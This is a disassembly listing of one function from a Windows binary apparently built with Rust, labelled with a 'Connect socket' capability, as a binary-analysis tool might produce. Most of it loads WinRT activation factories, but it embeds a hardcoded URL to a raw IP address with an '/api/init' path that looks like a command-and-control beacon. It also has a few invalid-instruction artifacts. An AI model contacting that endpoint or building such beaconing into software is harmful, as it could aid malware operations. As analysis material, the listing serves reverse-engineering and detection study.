Function at 0x140156a03
Capabilities:
Connect socket

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xbc8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xb30], xmm6
mov qword [rbp + 0xb28], 0xfffffffffffffffe
lea rdx, str.http:__172.247.44.162:8000172.247.44.162:9999_api_init
lea rcx, [rbp + 0xa70]
push 0x1a
pop r8
call fcn.14003f3ec
lea rcx, [rbp + 0x9c0]
call fcn.14014f4f6
lea r12, [rbp + 0x440]
lea r15, [rbp + 0xe0]
mov rdx, qword [0x1402c61d0]
test rdx, rdx
jne 0x140157048
and qword [rbp + 0xaa0], 0
mov byte [rbp + 0xb10], 1
mov rcx, r12
push 0x1e
pop rdx
call fcn.1401c2be5
cmp qword [rbp + 0x440], 0
mov rsi, qword [rbp + 0x448]
jne 0x1401596b7
lea rax, str.Windows.Globalization.CalendarRoGetActivationFactory
mov qword [rbp + 0x440], rax
lea rax, [0x1401ea096]
mov qword [rbp + 0x448], rax
and word [rbp + 0x450], 0
and qword [rbp + 0x458], 0
mov rcx, r12
call fcn.1401c20f4
test ax, ax
je 0x140156afa
mov rax, qword [rbp + 0x458]
lea rcx, [rax + 1]
mov qword [rbp + 0x458], rcx
mov rcx, qword [rsi + 0x10]
mov word [rcx + rax*2], dx
inc eax
mov dword [rsi + 4], eax
jmp 0x140156acc
mov rax, qword [rsi + 0x10]
mov ecx, dword [rsi + 4]
and word [rax + rcx*2], 0
mov qword [rbp + 0xac0], rsi
mov byte [rbp + 0xb25], 1
lea rcx, str.combase.dll
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_LoadLibraryExA]
mov r14, rax
mov ebx, 0x80040111
test rax, rax
je 0x140156c4a
mov byte [rbp + 0xb25], 1
mov rcx, r14
lea rdx, [0x1401ea096]
call sub.kernel32.dll_GetProcAddress
mov rdi, rax
test rax, rax
je 0x140156bd4
mov byte [rbp + 0xb25], 1
mov rcx, rsi
lea rdx, [0x1401e9f58]
lea r8, [rbp + 0xaa0]
call rdi
mov ebx, eax
cmp eax, 0x800401f0
jne 0x140156c12
mov byte [rbp + 0xb25], 1
lea rcx, str.ole32.dll
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_LoadLibraryExA]
mov rbx, rax
test rax, rax
je 0x140156bf6
mov byte [rbp + 0xb25], 1
mov rcx, rbx
lea rdx, str.CoIncrementMTAUsage
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140156be6
and qword [rbp + 0x440], 0
mov byte [rbp + 0xb25], 1
mov rcx, r12
call rax
jmp 0x140156bf6
mov byte [rbp + 0xb25], 1
mov rcx, r14
call qword [sym.imp.kernel32.dll_FreeLibrary]
jmp 0x140156c4a
mov byte [rbp + 0xb25], 1
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeLibrary]
mov byte [rbp + 0xb25], 1
mov rcx, rsi
lea rdx, [0x1401e9f58]
lea r8, [rbp + 0xaa0]
call rdi
mov ebx, eax
test ebx, ebx
js 0x140156c4a
mov r8, qword [rbp + 0xaa0]
mov byte [rbp + 0xb25], 0
lea rcx, [rbp + 0x7f0]
mov edx, ebx
call fcn.14003c879
mov byte [rbp + 0xb10], 0
lea rcx, [rbp + 0xac0]
call fcn.1401c2b3f
jmp 0x140156f25
mov byte [rbp + 0xb25], 1
mov ecx, ebx
call fcn.1401c251f
mov qword [rbp + 0xb18], rax
mov esi, edx
mov rcx, r15
push 0x23
pop rdx
call fcn.1401c5a79
mov dword [rbp + 0xae8], esi
push 0x1e
pop rsi
and dword [rbp + 0x9b0], 0
push 0x2e
pop rcx
lea rdx, [rbp + 0x9b0]
call fcn.14003c910
mov r12, rdx
lea rax, str.Windows.Globalization.CalendarRoGetActivationFactory
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], rsi
and qword [rbp + 0x450], 0
mov eax, dword [rbp + 0x9b0]
mov qword [rbp + 0x458], rsi
mov dword [rbp + 0x464], 0x2e
mov byte [rbp + 0x468], r12b
mov dword [rbp + 0x460], eax
movzx ebx, r12b
lea r15, [rbx - 1]
mov rdi, rsi
cmp rdi, rsi
ja 0x140156e87
mov cl, byte [rbp + rbx + 0x45f]
lea rdx, str.Windows.Globalization.CalendarRoGetActivationFactory
mov r8, rdi
call fcn.14002c920
cmp rax, 1
jne 0x140156e87
mov rdi, rdx
cmp rdx, r15
jb 0x140156d4c
mov r14, rdi
sub r14, r15
mov rax, r14
add rax, rbx
jb 0x140156d4c
cmp rax, rsi
ja 0x140156d4c
cmp r12b, 5
jae 0x14015965a
lea rax, str.Windows.Globalization.CalendarRoGetActivationFactory
lea r13, [rax + r14]
mov rcx, r13
mov rdx, rbx
lea r8, [rbp + 0x460]
mov r9, rbx
call fcn.14005a06a
test al, al
jne 0x140156d55
mov qword [rbp + 0x458], rdi
jmp 0x140156cda
test r14, r14
je 0x140156d6f
cmp r14, rsi
jae 0x140156d6a
cmp byte [r13], 0xbf
jle 0x1401597c6
mov rsi, r14
jmp 0x140156d71
xor esi, esi
lea r8, [rsi + 5]
mov rdx, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xf0]
cmp rax, r8
cmovb r8, rax
mov qword [rbp + 0xf0], r8
mov rcx, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwindows_core_0.52.0_srcimp_factory_cache.rs
call fcn.140060ae0
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwindows_core_0.52.0_srcimp_factory_cache.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, str.Windows.Globalization.CalendarRoGetActivationFactory
mov r9, rsi
call fcn.1401c59a4
mov rax, qword [rbp + 0xf0]
mov rdx, rax
sub rdx, rsi
jb 0x140159785
mov r12, qword [rbp + 0xe8]
lea rcx, [r12 + rsi]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwindows_core_0.52.0_srcimp_factory_cache.rs
mov qword [rsp + 0x20], rax
lea r8, str..dll
push 5
pop r9
call fcn.1401c59a4
mov rcx, r12
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140156e5f
mov rcx, rdi
lea rdx, str.DllGetActivationFactory
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140156e56
and qword [rbp + 0x440], 0
mov rcx, qword [rbp + 0xac0]
lea rdx, [rbp + 0x440]
call rax
test eax, eax
js 0x140156e69
mov rdi, qword [rbp + 0x440]
test rdi, rdi
je 0x140156c75
jmp 0x140156fb4
mov rcx, rdi
call qword [sym.imp.kernel32.dll_FreeLibrary]
call fcn.1401c2c84
jmp 0x140156c75
mov ecx, eax
call fcn.1401c251f
test rax, rax
je 0x140156c75
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x10]
jmp 0x140156c75
mov rcx, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xe8]
call fcn.1400373d1
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0x7f8], rax
mov eax, dword [rbp + 0xae8]
mov dword [rbp + 0x800], eax
mov qword [rbp + 0x7f0], 1
mov dil, 1
xor ebx, ebx
xor esi, esi
lea r15, [rbp + 0xe0]
lea r12, [rbp + 0x440]
lea esp, [rbp + 0x440]
mov qword [rbp + 0x940], rbx
mov byte [rbp + 0xaf9], dil
lea rcx, [rbp + 0xac0]
call fcn.1401c2b3f
mov rcx, qword [rbp + 0xaa0]
test rcx, rcx
je 0x140156f11
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x938], rbx
mov byte [rbp + 0xaf8], dil
call rax
test rbx, rbx
sete al
or sil, al
jne 0x140156f25
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
cmp qword [rbp + 0x7f0], 0
mov rcx, qword [rbp + 0x7f8]
jne 0x140159671
and qword [rbp + 0xe0], 0
mov rax, qword [rcx]
mov rax, qword [rax]
mov byte [rbp + 0xb07], 0
mov qword [rbp + 0xb18], rcx
lea rdx, [0x1401e9f78]
mov r8, r15
call rax
mov rcx, qword [rbp + 0xe0]
test eax, eax
js 0x140157056
add byte [rax], al
invalid
test rcx, rcx
je 0x14015709a
mov qword [rbp + 0x448], rcx
and qword [rbp + 0x440], 0
mov rcx, r12
call fcn.14003cb1a
xor eax, eax
mov rcx, qword [rbp + 0xb18]
lock cmpxchg qword [0x1402c61d0], rcx
je 0x140156a61
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x140156a61
mov rcx, qword [rbp + 0xe0]
mov rdx, r12
call fcn.1400373d1
and qword [rbp + 0x440], 0
mov rax, qword [rdi]
mov rax, qword [rax]
mov byte [rbp + 0xafa], 1
mov qword [rbp + 0xae8], rdi
mov ebp, 0xae8
mov rcx, rdi
lea rdx, [0x1401e9f58]
lea r12, [rbp + 0x440]
mov r8, r12
call rax
mov r8, qword [rbp + 0x440]
mov byte [rbp + 0xafa], 0
lea rcx, [rbp + 0x7f0]
mov edx, eax
call fcn.14003c879
mov rcx, qword [rbp + 0xae8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov sil, 1
mov rcx, qword [rbp + 0xb18]
test rcx, rcx
lea r15, [rbp + 0xe0]
je 0x14015703a
mov rax, qword [rcx]
call qword [rax + 0x10]
xor edi, edi
mov rbx, qword [rbp + 0xae8]
jmp 0x140156ed4
lea rcx, [rbp - 0x50]
call fcn.14003c9be
jmp 0x1401570dd
mov qword [rbp + 0xae8], rcx
mov ecx, eax
call fcn.1401c251f
mov qword [rbp + 0x448], rax
mov dword [rbp + 0x450], edx
mov qword [rbp + 0x440], 1
add byte [rax], al
mov rcx, qword [rbp + 0xae8]
test rcx, rcx
je 0x1401570b4
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
mov byte [rbp + 0xb07], 1
call rax
jmp 0x1401570b4
and qword [rbp + 0x448], 0
and dword [rbp + 0x450], 0
mov qword [rbp + 0x440], 1
lea rcx, [rbp + 0x440]
call fcn.14003cb1a
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0xb18]
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_strpattern.rsErrorNoneSome
push 4
pop rdx
mov rcx, rbx
call fcn.1401c6f20
jmp 0x140159860
mov edx, dword [rbp + 0x800]
lea r8, [rbp + 0x440]
mov eax, dword [r8 + 0x10]
mov qword [r8], rsi
mov dword [r8 + 8], eax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwindows_core_0.52.0_src_stringshstring.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14003c9ae
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x140159860
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwindows_core_0.52.0_srcimp_factory_cache.rs
mov rcx, rsi
mov rdx, rax
call fcn.1401c6ea0
jmp 0x140159860
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwindows_core_0.52.0_srcimp_factory_cache.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Windows.Globalization.CalendarRoGetActivationFactory
mov rdx, rsi
xor r8d, r8d
mov r9, r14
call fcn.1401c73e0
jmp 0x140159860